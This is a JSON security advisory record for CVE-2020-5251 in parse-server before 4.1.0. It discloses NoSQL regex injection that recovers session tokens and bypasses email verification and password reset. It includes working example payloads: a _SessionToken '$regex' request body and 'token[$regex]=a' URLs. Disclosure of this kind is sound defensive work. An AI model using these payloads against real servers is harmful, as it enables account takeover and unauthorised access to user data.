{"id":"GHSA-h4mf-75hf-67w4","summary":"Information disclosure in parse-server","details":"1. you can fetch all the users' objects, by using regex in the NoSQL query.\nUsing the NoSQL, you can use a regex on sessionToken `(\"_SessionToken\":{\"$regex\":\"r:027f\"}}` and find valid accounts this way.\n\nUsing this method, it's possible to retrieve accounts without interaction from the users.\n\nGET /parse/users/me HTTP/1.1\n```\n{\n  \"_ApplicationId\": \"appName\",\n  \"_JavaScriptKey\": \"javascriptkey\",\n  \"_ClientVersion\": \"js2.10.0\",\n  \"_InstallationId\": \"ca713ee2-6e60-d023-a8fe-14e1bfb2f300\",\n  \"_SessionToken\": {\n    \"$regex\": \"r:5\"\n  }\n}\n```\nWhen trying it with an update query the same thing luckily doesn't seem to work:\nPOST /parse/classes/_User/PPNk59jPPZ\n\n2. There is another similar vulnerability in verify email and the request password reset.\n\nIf you sign up with someone else's email address, you can simply use regex in the token param to verify the account: `http://localhost:1337/parse/apps/kickbox/verify_email?token[$regex]=a&username=some@email.com`\n\nThe same thing can be done for reset password: `http://localhost:1337/parse/apps/kickbox/request_password_reset?token[$regex]=a&username=some@email.com`\n\nYou may need to do it a few times with a different letter/number, but as long as the tokens contain the character it will succeed.","aliases":["BIT-parse-2020-5251","CVE-2020-5251"],"modified":"2026-07-08T06:28:35.978832578Z","published":"2020-03-04T20:20:27Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2020-03-04T19:54:37Z","nvd_published_at":null,"cwe_ids":["CWE-200","CWE-285"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/parse-community/parse-server/security/advisories/GHSA-h4mf-75hf-67w4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-5251"},{"type":"WEB","url":"https://github.com/parse-community/parse-server/commit/3a3a5eee5ffa48da1352423312cb767de14de269"}],"affected":[{"package":{"name":"parse-server","ecosystem":"npm","purl":"pkg:npm/parse-server"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.1.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/03/GHSA-h4mf-75hf-67w4/GHSA-h4mf-75hf-67w4.json","last_known_affected_version_range":"\u003c= 4.0.0"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N"}]}